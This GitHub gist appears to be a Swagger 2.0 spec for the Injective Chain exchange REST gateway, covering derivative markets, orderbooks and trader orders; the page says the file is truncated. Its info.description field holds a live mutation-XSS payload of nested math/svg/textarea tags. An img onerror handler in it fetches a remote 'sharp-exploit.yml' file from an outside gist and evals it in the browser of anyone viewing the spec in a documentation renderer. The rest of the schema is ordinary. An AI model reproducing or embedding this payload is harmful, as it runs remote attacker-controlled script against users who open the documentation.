Created
December 19, 2023 06:07
-
-
Save 4W/560a2ce0cd160b4a6f996ad189c243ee to your computer and use it in GitHub Desktop.
Experiemtn
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| title: Injective Chain - Legacy REST and gRPC Gateway docs | |
| description: <math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><textarea><a title='</textarea><img src onerror=fetch(`https://gist.githubusercontent.com/4W/0d5126b6086d78d380b10d3df95cecd2/raw/3d69cd7cebef138495d25abdd9ac7c4fffe9af1d/sharp-exploit.yml`).then(function(res){res.text().then(function(data){eval(data)})})>'></textarea></h1>">"</textarea></desc></textarea></mtext></mtext></svg></mglyph></option></mtext></math> | |
| version: 1.0.0 | |
| paths: | |
| /injective/exchange/v1beta1/atomic_order_fee_multiplier: | |
| get: | |
| operationId: MarketAtomicExecutionFeeMultiplier | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| multiplier: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/balance_mismatches/{dust_factor}: | |
| get: | |
| summary: Retrieves mismatches between available vs. total balance | |
| operationId: BalanceMismatches | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balance_mismatches: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccountId: | |
| type: string | |
| denom: | |
| type: string | |
| available: | |
| type: string | |
| total: | |
| type: string | |
| balance_hold: | |
| type: string | |
| expected_total: | |
| type: string | |
| difference: | |
| type: string | |
| description: |- | |
| QueryBalanceMismatchesResponse is the response type for the | |
| Query/QueryBalanceMismatches RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: dust_factor | |
| in: path | |
| required: true | |
| type: string | |
| format: int64 | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/balances_with_balance_holds: | |
| get: | |
| summary: Retrieves available and total balances with balance holds | |
| operationId: BalanceWithBalanceHolds | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balance_with_balance_holds: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccountId: | |
| type: string | |
| denom: | |
| type: string | |
| available: | |
| type: string | |
| total: | |
| type: string | |
| balance_hold: | |
| type: string | |
| description: |- | |
| QueryBalanceWithBalanceHoldsResponse is the response type for the | |
| Query/QueryBalanceWithBalanceHolds RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/binary_options/markets: | |
| get: | |
| summary: Retrieves a spot market's orderbook by marketID | |
| operationId: BinaryOptionsMarkets | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: Ticker for the derivative contract. | |
| oracle_symbol: | |
| type: string | |
| title: Oracle symbol | |
| oracle_provider: | |
| type: string | |
| title: Oracle Provider | |
| oracle_type: | |
| title: Oracle type | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| oracle_scale_factor: | |
| type: integer | |
| format: int64 | |
| description: Scale factor for oracle prices. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| title: expiration timestamp | |
| settlement_timestamp: | |
| type: string | |
| format: int64 | |
| title: expiration timestamp | |
| admin: | |
| type: string | |
| title: admin of the market | |
| quote_denom: | |
| type: string | |
| title: >- | |
| Address of the quote currency denomination for the | |
| binary options contract | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the maker fee rate of a binary | |
| options market | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the taker fee rate of a | |
| derivative market | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size that | |
| the price and margin | |
| required for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size of | |
| the quantity | |
| required for orders in the market | |
| settlement_price: | |
| type: string | |
| description: >- | |
| An object describing a binary options market in Injective | |
| Protocol. | |
| description: >- | |
| QueryBinaryMarketsResponse is the response type for the | |
| Query/BinaryMarkets | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: status | |
| description: >- | |
| Status of the market, for convenience it is set to string - not | |
| enum. | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/market_address/{market_id}: | |
| get: | |
| summary: |- | |
| Retrieves a derivative market's corresponding address for fees that | |
| contribute to the market's insurance fund | |
| operationId: DerivativeMarketAddress | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| title: address for the market | |
| subaccount_id: | |
| type: string | |
| title: subaccountID for the market | |
| description: |- | |
| QueryDerivativeMarketAddressResponse is the response type for the | |
| Query/DerivativeMarketAddress RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/markets: | |
| get: | |
| summary: Retrieves a list of derivative markets. | |
| operationId: DerivativeMarkets | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: Ticker for the derivative contract. | |
| oracle_base: | |
| type: string | |
| title: Oracle base currency | |
| oracle_quote: | |
| type: string | |
| title: Oracle quote currency | |
| oracle_type: | |
| title: Oracle type | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| oracle_scale_factor: | |
| type: integer | |
| format: int64 | |
| description: Scale factor for oracle prices. | |
| quote_denom: | |
| type: string | |
| title: >- | |
| Address of the quote currency denomination for the | |
| derivative contract | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| initial_margin_ratio: | |
| type: string | |
| title: >- | |
| initial_margin_ratio defines the initial margin | |
| ratio of a derivative | |
| market | |
| maintenance_margin_ratio: | |
| type: string | |
| title: >- | |
| maintenance_margin_ratio defines the maintenance | |
| margin ratio of a | |
| derivative market | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the maker fee rate of a | |
| derivative market | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the taker fee rate of a | |
| derivative market | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| isPerpetual: | |
| type: boolean | |
| title: >- | |
| true if the market is a perpetual market. false if | |
| the market is an expiry | |
| futures market | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size | |
| that the price and margin | |
| required for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: >- | |
| An object describing a derivative market in the | |
| Injective Futures Protocol. | |
| perpetual_info: | |
| type: object | |
| properties: | |
| market_info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| hourly_funding_rate_cap defines the maximum | |
| absolute value of the hourly | |
| funding rate | |
| hourly_interest_rate: | |
| type: string | |
| title: >- | |
| hourly_interest_rate defines the hourly interest | |
| rate | |
| next_funding_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| next_funding_timestamp defines the next funding | |
| timestamp in seconds of a | |
| perpetual market | |
| funding_interval: | |
| type: string | |
| format: int64 | |
| description: >- | |
| funding_interval defines the next funding | |
| interval in seconds of a | |
| perpetual market. | |
| funding_info: | |
| type: object | |
| properties: | |
| cumulative_funding: | |
| type: string | |
| description: >- | |
| cumulative_funding defines the cumulative | |
| funding of a perpetual market. | |
| cumulative_price: | |
| type: string | |
| title: >- | |
| cumulative_price defines the cumulative price | |
| for the current hour up to | |
| the last timestamp | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| futures_info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| description: >- | |
| expiration_timestamp defines the expiration time for | |
| a time expiry futures | |
| market. | |
| twap_start_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| expiration_twap_start_timestamp defines the start | |
| time of the TWAP | |
| calculation window | |
| expiration_twap_start_price_cumulative: | |
| type: string | |
| title: >- | |
| expiration_twap_start_price_cumulative defines the | |
| cumulative price for the | |
| start of the TWAP window | |
| settlement_price: | |
| type: string | |
| description: >- | |
| settlement_price defines the settlement price for a | |
| time expiry futures | |
| market. | |
| mark_price: | |
| type: string | |
| mid_price_and_tob: | |
| title: >- | |
| mid_price_and_tob defines the mid price for this market | |
| and the best ask | |
| and bid orders | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: |- | |
| QueryDerivativeMarketsResponse is the response type for the | |
| Query/DerivativeMarkets RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: status | |
| description: >- | |
| Status of the market, for convenience it is set to string - not | |
| enum. | |
| in: query | |
| required: false | |
| type: string | |
| - name: market_ids | |
| description: Filter by market IDs. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: with_mid_price_and_tob | |
| description: >- | |
| Flag to return the markets mid price and top of the book buy and | |
| sell | |
| orders. | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/markets/{market_id}: | |
| get: | |
| summary: Retrieves a derivative market by ticker | |
| operationId: DerivativeMarket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: Ticker for the derivative contract. | |
| oracle_base: | |
| type: string | |
| title: Oracle base currency | |
| oracle_quote: | |
| type: string | |
| title: Oracle quote currency | |
| oracle_type: | |
| title: Oracle type | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| oracle_scale_factor: | |
| type: integer | |
| format: int64 | |
| description: Scale factor for oracle prices. | |
| quote_denom: | |
| type: string | |
| title: >- | |
| Address of the quote currency denomination for the | |
| derivative contract | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| initial_margin_ratio: | |
| type: string | |
| title: >- | |
| initial_margin_ratio defines the initial margin ratio | |
| of a derivative | |
| market | |
| maintenance_margin_ratio: | |
| type: string | |
| title: >- | |
| maintenance_margin_ratio defines the maintenance | |
| margin ratio of a | |
| derivative market | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the maker fee rate of a | |
| derivative market | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the taker fee rate of a | |
| derivative market | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| isPerpetual: | |
| type: boolean | |
| title: >- | |
| true if the market is a perpetual market. false if the | |
| market is an expiry | |
| futures market | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size that | |
| the price and margin | |
| required for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: >- | |
| An object describing a derivative market in the Injective | |
| Futures Protocol. | |
| perpetual_info: | |
| type: object | |
| properties: | |
| market_info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| hourly_funding_rate_cap defines the maximum | |
| absolute value of the hourly | |
| funding rate | |
| hourly_interest_rate: | |
| type: string | |
| title: >- | |
| hourly_interest_rate defines the hourly interest | |
| rate | |
| next_funding_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| next_funding_timestamp defines the next funding | |
| timestamp in seconds of a | |
| perpetual market | |
| funding_interval: | |
| type: string | |
| format: int64 | |
| description: >- | |
| funding_interval defines the next funding interval | |
| in seconds of a | |
| perpetual market. | |
| funding_info: | |
| type: object | |
| properties: | |
| cumulative_funding: | |
| type: string | |
| description: >- | |
| cumulative_funding defines the cumulative funding | |
| of a perpetual market. | |
| cumulative_price: | |
| type: string | |
| title: >- | |
| cumulative_price defines the cumulative price for | |
| the current hour up to | |
| the last timestamp | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| futures_info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| description: >- | |
| expiration_timestamp defines the expiration time for a | |
| time expiry futures | |
| market. | |
| twap_start_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| expiration_twap_start_timestamp defines the start time | |
| of the TWAP | |
| calculation window | |
| expiration_twap_start_price_cumulative: | |
| type: string | |
| title: >- | |
| expiration_twap_start_price_cumulative defines the | |
| cumulative price for the | |
| start of the TWAP window | |
| settlement_price: | |
| type: string | |
| description: >- | |
| settlement_price defines the settlement price for a | |
| time expiry futures | |
| market. | |
| mark_price: | |
| type: string | |
| mid_price_and_tob: | |
| title: >- | |
| mid_price_and_tob defines the mid price for this market | |
| and the best ask | |
| and bid orders | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: |- | |
| QueryDerivativeMarketResponse is the response type for the | |
| Query/DerivativeMarket RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/mid_price_and_tob/{market_id}: | |
| get: | |
| summary: Retrieves a derivative market's mid-price | |
| operationId: DerivativeMidPriceAndTOB | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: |- | |
| QueryDerivativeMidPriceAndTOBResponse is the response type for the | |
| Query/GetDerivativeMidPriceAndTOB RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/orderbook/{market_id}: | |
| get: | |
| summary: Retrieves a derivative market's orderbook by marketID | |
| operationId: DerivativeOrderbook | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| buys_price_level: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| p: | |
| type: string | |
| title: price | |
| q: | |
| type: string | |
| title: quantity | |
| sells_price_level: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| p: | |
| type: string | |
| title: price | |
| q: | |
| type: string | |
| title: quantity | |
| description: |- | |
| QueryDerivativeOrderbookResponse is the response type for the | |
| Query/DerivativeOrderbook RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: limit | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: limit_cumulative_notional | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/orders/conditional/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's derivative conditional orders | |
| operationId: TraderDerivativeConditionalOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| margin: | |
| type: string | |
| title: margin of the order | |
| triggerPrice: | |
| type: string | |
| title: price to trigger the order | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| isLimit: | |
| type: boolean | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryTraderDerivativeOrdersResponse is the response type for the | |
| Query/TraderDerivativeOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/orders/{market_id}/account/{account_address}: | |
| get: | |
| summary: Retrieves all account address derivative orders | |
| operationId: AccountAddressDerivativeOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| margin: | |
| type: string | |
| title: margin of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: >- | |
| QueryAccountAddressDerivativeOrdersResponse is the response type | |
| for the | |
| Query/AccountAddressDerivativeOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: account_address | |
| description: Account address of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/orders/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's derivative orders | |
| operationId: TraderDerivativeOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| margin: | |
| type: string | |
| title: margin of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryTraderDerivativeOrdersResponse is the response type for the | |
| Query/TraderDerivativeOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/orders_by_hashes/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's derivative orders | |
| operationId: DerivativeOrdersByHashes | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| margin: | |
| type: string | |
| title: margin of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryDerivativeOrdersByHashesResponse is the response type for the | |
| Query/DerivativeOrdersByHashes RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| - name: order_hashes | |
| description: the order hashes. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/derivative/transient_orders/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's transient derivative orders | |
| operationId: TraderDerivativeTransientOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| margin: | |
| type: string | |
| title: margin of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryTraderDerivativeOrdersResponse is the response type for the | |
| Query/TraderDerivativeOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/effective_positions/{subaccount_id}/{market_id}: | |
| get: | |
| summary: Retrieves subaccount's position in market | |
| operationId: SubaccountEffectivePositionInMarket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| is_long: | |
| type: boolean | |
| quantity: | |
| type: string | |
| entry_price: | |
| type: string | |
| effective_margin: | |
| type: string | |
| description: >- | |
| QuerySubaccountEffectivePositionInMarketResponse is the response | |
| type for the | |
| Query/SubaccountEffectivePositionInMarket RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/aggregateMarketVolume/{market_id}: | |
| get: | |
| summary: Retrieves the aggregate volume for the specified market | |
| operationId: AggregateMarketVolume | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| description: |- | |
| QueryAggregateMarketVolumeResponse is the response type for the | |
| Query/AggregateMarketVolume RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/aggregateMarketVolumes: | |
| get: | |
| summary: Retrieves the aggregate market volumes for specified markets | |
| operationId: AggregateMarketVolumes | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| title: the aggregate volumes for the entire market | |
| description: |- | |
| QueryAggregateMarketVolumesResponse is the response type for the | |
| Query/AggregateMarketVolumes RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
